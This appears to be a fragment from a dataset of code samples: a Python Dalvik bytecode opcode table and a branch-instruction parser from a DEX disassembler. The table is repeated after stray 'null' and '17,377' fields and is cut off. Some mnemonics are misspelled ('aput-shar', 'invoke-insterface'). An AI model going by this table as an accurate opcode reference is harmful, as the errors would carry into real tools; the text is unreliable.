'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT21T(buffer, dex_object, pc_point, offset): v, = struct.unpack_from("h", buffer, 2) arg1 = "%04x" % (v + offset) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), arg1)
null
17,377
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 